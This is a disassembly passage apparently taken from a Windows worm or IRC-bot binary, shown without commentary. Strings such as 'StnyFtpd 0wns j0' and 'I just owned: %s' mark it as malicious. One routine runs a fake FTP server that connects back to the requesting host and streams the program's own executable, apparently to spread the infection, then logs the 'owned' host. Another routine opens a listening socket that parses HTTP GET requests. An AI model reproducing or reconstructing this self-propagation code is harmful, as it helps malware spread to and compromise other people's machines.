		dd 0FFFFFF5Ch, 0DBF815FFh, 5653004Ch, 8966026Ah, 5D89EE45h
		dd 7815FFF0h, 8B004CDCh, 0FFCE83F8h, 4575FE3Bh,	75E45D39h
		dd 858D5320h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh
		dd 0FFFF50B5h, 0AE24E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh
		dd 675DE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC72Bh, 0E8535959h
		dd 70149Ch, 54858BFEh, 6AFFFFFFh, 34C06910h, 89000002h
		dd 440B44B8h, 0EC458D00h, 15FF5750h, 4CDC24h, 0BBC63Bh
		dd 0F000004h, 0CF85h, 8C15FF00h, 3D004CDBh, 2740h, 0F6334774h
		dd 75E47539h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0ADA4E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 66DDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC6ABh
		dd 0E8565959h, 70141Ch,	0FFFE689Ah, 0E8530000h,	9C82h
		dd 920A359h, 6659004Dh,	8DEE4589h, 106AEC45h, 15FF5750h
		dd 4CDC24h, 5475C63Bh, 0DB8C15FFh, 0F633004Ch, 75E47539h
		dd 27403D27h, 20740000h, 40858D56h, 0FFFFFFFDh,	8D50E075h
		dd 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFAD29E8h, 14C483FFh
		dd 0FD40858Dh, 0E850FFFFh, 6662h, 0FF54B5FFh, 30E8FFFFh
		dd 59FFFFC6h, 0A1E85659h, 0E5007013h, 0FF57056Ah, 4CDC2015h
		dd 0FC63B00h, 0D484h, 0FC45C700h, 10h, 42A0ECBEh, 0FC458D00h
		dd 40858D50h, 50FFFFFFh, 8C15FF57h, 83004CDCh, 4589FFF8h
		dd 83E67408h, 7500E47Dh, 8D006A21h, 0FFFD4085h,	0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0ABE8FFFFh, 83FFFFACh
		dd 858D14C4h, 0FFFFFD40h, 65E4E850h, 8D590000h,	0FFFD4085h
		dd 68006AFFh, 200h, 875FF50h, 0DC1015FFh, 0F883004Ch, 569674FFh
		dd 3835FF56h, 0FF004CD9h, 0FFFF50B5h, 0BDFEE8FFh, 5059FFFFh
		dd 4361E868h, 40858D00h, 53FFFFF9h, 0CE62E850h,	0C4830000h
		dd 40858D1Ch, 6AFFFFF9h, 0B1E85000h, 590000C4h,	40858D50h
		dd 50FFFFF9h, 0FF0875FFh, 4CDC4815h, 0FFF88300h, 0FF43840Fh
		dd 5FFFFFFh, 4D0924h, 0FFFF38E9h, 15FF57FFh, 4CDC90h, 0FF54B5FFh
		dd 30E8FFFFh, 59FFFFC5h, 0A1E8006Ah, 0E4007012h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED60	proc near		; DATA XREF: seg000:0040BB54o

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	ds:dword_4281F4	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_428220	; socket
		mov	esi, ds:dword_428214
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4281F8	; ioctlsocket
		mov	ax, word ptr ds:dword_4CD938
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4281FC	; bind
		test	eax, eax
		jge	short loc_40EE26
		mov	eax, ebx
		jmp	loc_40F359
; ---------------------------------------------------------------------------


loc_40EE26:				; CODE XREF: sub_40ED60+BDj
		push	0Ah
		push	edi
		call	ds:dword_428200	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, ds:dword_428224
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi


loc_40EE44:				; CODE XREF: sub_40ED60+11Bj
					; sub_40ED60+5F1j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_428228	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F356
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40EE44


loc_40EE7D:				; CODE XREF: sub_40ED60+5EBj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B780
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426A18	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F344
		cmp	edi, [ebp+var_8]
		jnz	short loc_40EF26
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_428204	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F344
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40EEF8


loc_40EEEA:				; CODE XREF: sub_40ED60+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40EEF8
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40EEEA


loc_40EEF8:				; CODE XREF: sub_40ED60+188j
					; sub_40ED60+191j
		cmp	ecx, edx
		jnz	short loc_40EF0E
		cmp	edx, 40h
		jnb	short loc_40EF0E
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]


loc_40EF0E:				; CODE XREF: sub_40ED60+19Aj
					; sub_40ED60+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40EF16
		mov	[ebp+var_4], eax


loc_40EF16:				; CODE XREF: sub_40ED60+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40F344
; ---------------------------------------------------------------------------


loc_40EF26:				; CODE XREF: sub_40ED60+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	ds:dword_428218	; recv
		test	eax, eax
		jg	short loc_40EF83
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40EF77


loc_40EF47:				; CODE XREF: sub_40ED60+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40EF6C
		inc	eax
		cmp	eax, ecx
		jb	short loc_40EF47
		jmp	short loc_40EF77
; ---------------------------------------------------------------------------


loc_40EF57:				; CODE XREF: sub_40ED60+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax


loc_40EF6C:				; CODE XREF: sub_40ED60+1EEj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40EF57
		dec	[ebp+var_23C]


loc_40EF77:				; CODE XREF: sub_40ED60+1E5j
					; sub_40ED60+1F5j
		push	edi
		call	ds:dword_42821C	; closesocket
		jmp	loc_40F344
; ---------------------------------------------------------------------------


loc_40EF83:				; CODE XREF: sub_40ED60+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41C835
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41C260
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40EFC7
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40EFC7:				; CODE XREF: sub_40ED60+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EFEB
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40EFEB:				; CODE XREF: sub_40ED60+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F00F
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F00F:				; CODE XREF: sub_40ED60+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F033
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F033:				; CODE XREF: sub_40ED60+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_43640C
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F057
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F057:				; CODE XREF: sub_40ED60+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F092
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F092
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F092:				; CODE XREF: sub_40ED60+30Cj
					; sub_40ED60+323j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0CD
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0CD
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40ED60+347j
					; sub_40ED60+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F11B
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F10B:				; CODE XREF: sub_40ED60+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40F332
; ---------------------------------------------------------------------------


loc_40F11B:				; CODE XREF: sub_40ED60+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F15C
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F10B
; ---------------------------------------------------------------------------


loc_40F15C:				; CODE XREF: sub_40ED60+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F22D
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41C835
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41B969
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41B969
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41B780
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41BA76
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41BFB5
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41BA76
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40F32F
; ---------------------------------------------------------------------------


loc_40F22D:				; CODE XREF: sub_40ED60+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F310
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40F360
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F306
		cmp	[ebp+var_444], esi
		jnz	short loc_40F295
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409966
		add	esp, 14h


loc_40F295:				; CODE XREF: sub_40ED60+510j
		call	sub_40F3DD
		cmp	eax, 1
		jnz	loc_40F332
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpIJustOwnedS ; "[FTP]: I just	owned: %s"
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F2F1
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409966
		add	esp, 14h


loc_40F2F1:				; CODE XREF: sub_40ED60+56Cj
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4152AE
		inc	ds:dword_4D06F4
		pop	ecx
		jmp	short loc_40F332
; ---------------------------------------------------------------------------


loc_40F306:				; CODE XREF: sub_40ED60+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40F32F
; ---------------------------------------------------------------------------


loc_40F310:				; CODE XREF: sub_40ED60+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F332
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40F32F:				; CODE XREF: sub_40ED60+262j
					; sub_40ED60+286j ...
		push	edi
		call	ebx	; send


loc_40F332:				; CODE XREF: sub_40ED60+3B6j
					; sub_40ED60+53Dj ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch


loc_40F344:				; CODE XREF: sub_40ED60+14Fj
					; sub_40ED60+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40EE7D
		jmp	loc_40EE44
; ---------------------------------------------------------------------------


loc_40F356:				; CODE XREF: sub_40ED60+10Fj
		xor	eax, eax
		inc	eax


loc_40F359:				; CODE XREF: sub_40ED60+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40ED60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F360	proc near		; CODE XREF: sub_40ED60+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4281F4	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_428220	; socket
		push	[ebp+arg_0]
		mov	ds:dword_4D0928, eax
		mov	[ebp+var_10], 2
		call	ds:dword_428234	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_42820C	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_4D0928
		call	ds:dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F3D8
		push	ds:dword_4D0928
		call	ds:dword_42821C	; closesocket
		call	ds:dword_4281F0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F3D8:				; CODE XREF: sub_40F360+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40F360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3DD	proc near		; CODE XREF: sub_40ED60:loc_40F295p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 0B10000h
		dec	eax
		lea	eax, [ebp+var_104]
		push	offset dword_42A06C
		push	eax
		call	sub_41B6B2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F474
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F458
		push	edi
		mov	edi, 400h


loc_40F420:				; CODE XREF: sub_40F3DD+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B30A
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_4D0928
		call	ds:dword_428224	; send
		push	1
		call	ds:dword_428064	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F420
		pop	edi


loc_40F458:				; CODE XREF: sub_40F3DD+3Bj
		push	esi
		call	sub_41B24B
		pop	ecx
		push	ds:dword_4D0928
		call	ds:dword_42821C	; closesocket
		call	ds:dword_4281F0	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40F474:				; CODE XREF: sub_40F3DD+35j
		pop	esi
		leave
		retn
sub_40F3DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F477	proc near		; DATA XREF: seg000:00403CEAo
					; seg000:0040BD95o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BD10
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_4CDBF8	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_40F83D
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_440B44[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_4CDC24	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F83D
		push	7FFFFFFFh
		push	edi
		call	ds:dword_4CDC20	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F83D
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4CDC94	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F83D
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_40F54E:				; CODE XREF: sub_40F477+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_4CDBE0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F838
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_40F584:				; CODE XREF: sub_40F477+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	ds:dword_4CDAE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F823
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F605
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4CDC8C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F823
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F5D7


loc_40F5C9:				; CODE XREF: sub_40F477+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40F5D7
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40F5C9


loc_40F5D7:				; CODE XREF: sub_40F477+150j
					; sub_40F477+159j
		cmp	ecx, ebx
		jnz	short loc_40F5F4
		cmp	ebx, 40h
		jnb	short loc_40F5F4
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_40F5F4:				; CODE XREF: sub_40F477+162j
					; sub_40F477+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_40F823
		mov	[ebp+var_4], eax
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F605:				; CODE XREF: sub_40F477+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_41B780
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	ds:dword_4CDC10	; recv
		test	eax, eax
		jg	short loc_40F68C
		push	edi
		call	ds:dword_4CDC90	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_40F823


loc_40F651:				; CODE XREF: sub_40F477+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40F679
		inc	eax
		cmp	eax, ebx
		jb	short loc_40F651
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F664:				; CODE XREF: sub_40F477+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40F679:				; CODE XREF: sub_40F477+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40F664
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F68C:				; CODE XREF: sub_40F477+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B780
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_41B1D0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F823


loc_40F6B9:				; CODE XREF: sub_40F477+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F75F
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F72F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B1D0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F72F
		mov	eax, offset asc_42E0C8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BAF0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BAF0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C0A0
		add	esp, 10h
		jmp	short loc_40F746
; ---------------------------------------------------------------------------


loc_40F72F:				; CODE XREF: sub_40F477+26Ej
					; sub_40F477+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4364CC ; "\r\n"
		push	eax
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F77B


loc_40F746:				; CODE XREF: sub_40F477+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F75F:				; CODE XREF: sub_40F477+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_41B1D0
		cmp	edi, eax
		pop	ecx
		jb	loc_40F6B9
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F77B:				; CODE XREF: sub_40F477+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40F7B7


loc_40F781:				; CODE XREF: sub_40F477+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40F7A9
		inc	eax
		cmp	eax, ebx
		jb	short loc_40F781
		jmp	short loc_40F7B7
; ---------------------------------------------------------------------------


loc_40F794:				; CODE XREF: sub_40F477+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
